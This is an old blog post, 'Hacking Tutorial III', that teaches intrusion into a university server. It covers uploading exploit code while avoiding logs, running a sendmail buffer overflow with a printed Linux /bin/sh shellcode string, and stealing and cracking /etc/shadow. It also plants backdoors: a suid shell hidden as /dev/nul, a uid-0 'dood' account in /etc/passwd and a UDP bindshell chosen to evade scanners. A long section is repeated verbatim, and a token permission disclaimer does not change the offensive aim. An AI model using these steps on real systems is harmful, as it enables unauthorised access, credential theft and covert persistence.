Saturday, May 16, 2009

Hacking Tutorial III

 How to upload and compile programs
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


The most obvious and simple way is using FTP:

 bash-2.03$ ls
 program.c
 sh-2.03$ ftp target.edu
 Connected to target.edu.
 220 target.edu FTP server (SunOS 5.6) ready.
 Name: luser
 331 Password required for luser.
 Password:
 230 User luser logged in.
 ftp> put program.c
 200 PORT command successful.
 150 ASCII data connection for program.c (204.42.253.18,57982).
 226 Transfer complete.
 ftp> quit
 221 Goodbye.


But this is not a really good way. It can create logs that will make the admin to detect us.

Avoid uploading it with FTP as you can, use cut&paste instead.

Here's how to make it:

we run a text editor
 sh-2.03$ pico exploit.c
if it doesn't work, try this one:
 sh-2.03$ vi exploit.c
Of course, you must learn how to use vi.

Then open another terminal (i mean without x windows, CTRL+ALT+Fx to scape from xwindows to x,
 ALT+Fx to change to another terminal, ALT+F7 to return xwindows) on your own box and cut the 
text from it. Change to your target and paste the code so you've 'uploaded' the file.

To cut a text from the screen, you need to install the gpm packet from your linux distribution.
This program lets you select and cut text with your mouse.

If cut&paste doesn't work, you can also type it by hand (they aren't usually large).

Once you get the .c file there, here's how to compile:

 sh-2.03$ gcc program.c -o program

and execute:

 sh-2.03$ ./program

  Exploiting vulnerabilities
  ~~~~~~~~~~~~~~~~~~~~~~~~~~


This is the most important part of our hacking experience. Once we know what target.edu
is running, we can go to one of those EXPLOIT databases that are on the net.

A exploit is a piece of code that exploits a vulnerability on its software. In the case of
target.edu, we should look for an adequate exploit for sendmail 8.11.0 or any other daemon
that fits. Note that sendmail is the buggiest and the shittiest daemon, thus the most easy
exploitable. If your target gots an old version, you'll probably get in easyly.

When we exploit a security bug, we can get:

- a normal shell (don't know what a shell is? read a book of unix!)

a shell is a command interpreter. for example, the windoze 'shell' is the command.com file.
this one lets us send commands to the box, but we got limited priviledges.
- a root shell
this is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.

These are some exploit databases i suggest you to visit:

www.hack.co.za
www.r00tabega.org
www.rootshell.com
www.securityfocus.com
www.insecure.org/sploits.html

Every exploit is different to use, so read its text and try them.
They usually come in .c language.

The most standar and easy to use exploits are buffer overflows.
I won't explain here how a buffer overflow does work, 
Read "Smash The Stack For Fun And Profit" by Aleph One to learn it.
You can download it from my site. (www.3b0x.com)

Buffer overflows fool a program (in this case sendmail) to make it execute the code you want.
This code usually executes a shell, so it's called 'shellcode'. The shellcode to run a shell
is different to every OS, so this is a strong reason to know what OS they're running.

We edit the .c file we've downloaded and look for something like this:

char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

This is a shellcode for Linux. It will execute /bin/sh, that is, a shell.

You gotta replace it by the shellcode for the OS your target is running.
You can find shellcodes for most OSes on my site or create your own by reading
the text i mentioned before (Smash The Stack For Fun And Profit).

IMPORTANT: before continuing with the practice, ask your target for permission to hack them.
  if they let you do it, then you shall continue.
  if they don't give you permission, STOP HERE and try with another one.
  shall you continue without their permission, you'd be inquiring law and
  i'm not responible of your craziness in any way!!!

You should have now the shell account, this is the time to use it!

everything i explain on this section, do it through your shell account:

 bash-2.03$ telnet myshellaccount 23
 Trying xx.xx.xx.xx...
 Connected to yourshellaccount.
 Escape character is '^]'.
  Welcome to yourshellaccount
  login: malicioususer
  Password: (it doesn't display)
  Last login: Fry Sep 15 11:45:34 from .
 sh-2.03$

Here is a example of a buffer overflow (that doesn't really exist):

we compile it:
 sh-2.03$ gcc exploit.c -o exploit
we execute it:
 sh-2.03$ ./exploit
 This is a sendmail 8.9.11 exploit
 usage: ./exploit target port
Sendmail works on port 25, so:
 sh-2.03$./exploit 25 target.edu
Cool, '$' means we got a shell! Let's find out if we're root.
 $whoami
 root
Damn, we've rooted target.edu!
 $whyamiroot
 because you've hacked me! :-) (just kidding)

There are some exploits that don't give you root directly, but a normal shell.
It depends on what luser is running the daemon. (sendmail is usually root)
Then you'll have to upload a .c file with a local (local means it can't overflow
a daemon, but a local program) overflow and compile it.

Remember to avoid uploading it with FTP as you can.

Other kind of exploit is the one that gives you access to the password file.
If a host gots port 23 (telnet) opened, we can login as a normal user
(remote root logins are usually not allowed) by putting his/hers/its username
and password. Then use the su command to become root.

 sh-2.03$ telnet target.edu 23
 Trying xx.xx.xx.xx...
 Connected to target.edu.
 Escape character is '^]'.
  We're running SunOS 5.7
  Welcome to target.edu 

  login: luser
  Password: (it doesn't display)
  Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.
  sh-2.03$ whoami
 luser
Are we lusers?
 sh-2.03$ su root
 Password:
Don't think so...
 sh-2.03$ whoami
 root
 sh-2.03$

Let's see what happened. We've stolen the password file (/etc/shadow) using an exploit.
Then, let's suppose we've extracted the password from luser and root. We can't login as
root so we login as luser and run su. su asks us for the root password, we put it and...
rooted!!

The problem here is that is not easy to extract a root password from a password file.
Only 1/10 admins are idiot enough to choose a crackable password like a dictinonary word
or a person's name.

I said some admins are idiot (some of them are smart), but lusers are the more most
idiotest thing on a system. You'll find that luser's passwords are mostly easyly cracked,
you'll find that lusers set up rlogin doors for you to enter without a password, etc.
Not to mention what happens when an admin gives a normal luser administrator priviledges
with sudo or something.

To learn how to crack a password file and extract its passwords, download a document called
"cracking UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).

Of course, I haven't listed all the exploit kinds that exist, only the most common.

  Exploiting vulnerabilities
  ~~~~~~~~~~~~~~~~~~~~~~~~~~


This is the most important part of our hacking experience. Once we know what target.edu
is running, we can go to one of those EXPLOIT databases that are on the net.

A exploit is a piece of code that exploits a vulnerability on its software. In the case of
target.edu, we should look for an adequate exploit for sendmail 8.11.0 or any other daemon
that fits. Note that sendmail is the buggiest and the shittiest daemon, thus the most easy
exploitable. If your target gots an old version, you'll probably get in easyly.

When we exploit a security bug, we can get:

- a normal shell (don't know what a shell is? read a book of unix!)

a shell is a command interpreter. for example, the windoze 'shell' is the command.com file.
this one lets us send commands to the box, but we got limited priviledges.
- a root shell
this is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.

These are some exploit databases i suggest you to visit:

www.hack.co.za
www.r00tabega.org
www.rootshell.com
www.securityfocus.com
www.insecure.org/sploits.html

Every exploit is different to use, so read its text and try them.
They usually come in .c language.

The most standar and easy to use exploits are buffer overflows.
I won't explain here how a buffer overflow does work, 
Read "Smash The Stack For Fun And Profit" by Aleph One to learn it.
You can download it from my site. (www.3b0x.com)

Buffer overflows fool a program (in this case sendmail) to make it execute the code you want.
This code usually executes a shell, so it's called 'shellcode'. The shellcode to run a shell
is different to every OS, so this is a strong reason to know what OS they're running.

We edit the .c file we've downloaded and look for something like this:

char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

This is a shellcode for Linux. It will execute /bin/sh, that is, a shell.

You gotta replace it by the shellcode for the OS your target is running.
You can find shellcodes for most OSes on my site or create your own by reading
the text i mentioned before (Smash The Stack For Fun And Profit).

IMPORTANT: before continuing with the practice, ask your target for permission to hack them.
  if they let you do it, then you shall continue.
  if they don't give you permission, STOP HERE and try with another one.
  shall you continue without their permission, you'd be inquiring law and
  i'm not responible of your craziness in any way!!!

You should have now the shell account, this is the time to use it!

everything i explain on this section, do it through your shell account:

 bash-2.03$ telnet myshellaccount 23
 Trying xx.xx.xx.xx...
 Connected to yourshellaccount.
 Escape character is '^]'.
  Welcome to yourshellaccount
  login: malicioususer
  Password: (it doesn't display)
  Last login: Fry Sep 15 11:45:34 from .
 sh-2.03$

Here is a example of a buffer overflow (that doesn't really exist):

we compile it:
 sh-2.03$ gcc exploit.c -o exploit
we execute it:
 sh-2.03$ ./exploit
 This is a sendmail 8.9.11 exploit
 usage: ./exploit target port
Sendmail works on port 25, so:
 sh-2.03$./exploit 25 target.edu
Cool, '$' means we got a shell! Let's find out if we're root.
 $whoami
 root
Damn, we've rooted target.edu!
 $whyamiroot
 because you've hacked me! :-) (just kidding)

There are some exploits that don't give you root directly, but a normal shell.
It depends on what luser is running the daemon. (sendmail is usually root)
Then you'll have to upload a .c file with a local (local means it can't overflow
a daemon, but a local program) overflow and compile it.

Remember to avoid uploading it with FTP as you can.

Other kind of exploit is the one that gives you access to the password file.
If a host gots port 23 (telnet) opened, we can login as a normal user
(remote root logins are usually not allowed) by putting his/hers/its username
and password. Then use the su command to become root.

 sh-2.03$ telnet target.edu 23
 Trying xx.xx.xx.xx...
 Connected to target.edu.
 Escape character is '^]'.
  We're running SunOS 5.7
  Welcome to target.edu 

  login: luser
  Password: (it doesn't display)
  Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.
  sh-2.03$ whoami
 luser
Are we lusers?
 sh-2.03$ su root
 Password:
Don't think so...
 sh-2.03$ whoami
 root
 sh-2.03$

Let's see what happened. We've stolen the password file (/etc/shadow) using an exploit.
Then, let's suppose we've extracted the password from luser and root. We can't login as
root so we login as luser and run su. su asks us for the root password, we put it and...
rooted!!

The problem here is that is not easy to extract a root password from a password file.
Only 1/10 admins are idiot enough to choose a crackable password like a dictinonary word
or a person's name.

I said some admins are idiot (some of them are smart), but lusers are the more most
idiotest thing on a system. You'll find that luser's passwords are mostly easyly cracked,
you'll find that lusers set up rlogin doors for you to enter without a password, etc.
Not to mention what happens when an admin gives a normal luser administrator priviledges
with sudo or something.

To learn how to crack a password file and extract its passwords, download a document called
"cracking UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).

Of course, I haven't listed all the exploit kinds that exist, only the most common.


  Putting backdoors
  ~~~~~~~~~~~~~~~~~

Ok, we've rooted the system. Then what?

Now you're able to change the webpage of that .edu box. Is that what you want to do?
Notice that doing such a thing is LAMER attitude. everyone out there can hack an .edu
box, but they're not ashaming them with such things.

Hacktivism is good and respected. You can change the page of bad people with bad ideologies
like nazis, scienciologists, bsa.org, microsoft, etc. Not a bunch of poor educators.

REMEMBER: ask for permission first!

No, this time you should do another thing. You should keep that system for you to play with
as a toy! (remember: your_box --> lame_box --> victim's box)

Once we type "exit" on our login shell, we're out. And we gotta repeat all the process to get
back in.
And it may not be possible:
- the admin changed his password to something uncrackable.
- they updated sendmail to a newer version so the exploit doesn't work.

So now we're root and we can do everything, we shall put some backdoors that let us get back in.

It may be interesting to read the paper about backdoors I host on my site. (www.3b0x.com)

Anyway, i'll explain the basics of it.

1.How to make a sushi:

  To make a sushi or suid shell, we gotta copy /bin/sh to some hidden place and give it suid
  permissions:

 sh-2.03$ cp /bin/sh /dev/nul
In the strange case the admin looks at /dev, he wouldn't find something unusual cause
/dev/null does exist (who notices the difference?).
 sh-2.03$ cd /dev
 sh-2.03$ chown root nul
Should yet be root-owned, but anyway...
 sh-2.03$ chmod 4775 nul
4775 means suid, note that "chmod +s nul" wouldn't work on some systems but this works everywhere.

We've finished our 'duty', let's logout:
 sh-2.03$ exit

Then, when we come back some day:
 sh-2.03$ whoami
 luser
 sh-2.03$ /dev/nul
 sh-2.03$ whoami
 root
We're superluser again!


There's one problem: actually most shells drop suid permissions, so the sushi doesn't work.
we'd upload then the shell we want and make a sushi with it.
The shell we want for this is SASH. A stand-alone shell with built-in commands.
This one doesn't drop suid perms, and the commands are built-in, so external commands
can't drop perms too! Remember to compile it for the architecture of the target box.
Do you know where to get sash from? From my site :-). (www.3b0x.com)

2.How to add fake lusers.

You gotta manipulate the users file: /etc/passwd
try this:
 sh-2.03$ pico /etc/passwd
if it doesn't work, try this:
 sh-2.03$ vi /etc/passwd
Of course, you must learn how to use vi.

This is what a luser line looks like: luser:passwd:uid:gid:startdir:shell

When uid=0 and gid=0, that luser gets superluser priviledges.

Then we add a line like this:

 dood::0:0:dood:/:/bin/sh (put it in a hidden place)


So, once we get a shell, we type:
 sh-2.03$ su dood
 sh-2.03$ whoami
 dood

And now we're root because dood's uid=0 and gid=0.

Smart admins usually look for anomalities on /etc/passwd. The best way is to use a fake
program in /bin that executes the shell you want with suid perms.

I haven't got such a program at my site, but it shouldn't be difficult to develope.


3.How to put a bindshell.

A bindshell is a daemon, it's very similar to telnetd (in fact, telnetd is a bindshell).
The case is this is our own daemon. The good bindshells will listen to an UDP port (not TCP)
and give a shell to you when you connect. The cool thing of UDP is this:

If the admin uses a scanner to see what TCP ports are open, he woldn't find anything!
They rarely remember UDP exists.

=================================================================

=================================================================

Discilamer:

These blog series are for educational purpose only. Please ask the person you wanna hack to before doing anything.

i'll not be responisible in any casse!!















No comments:

Post a Comment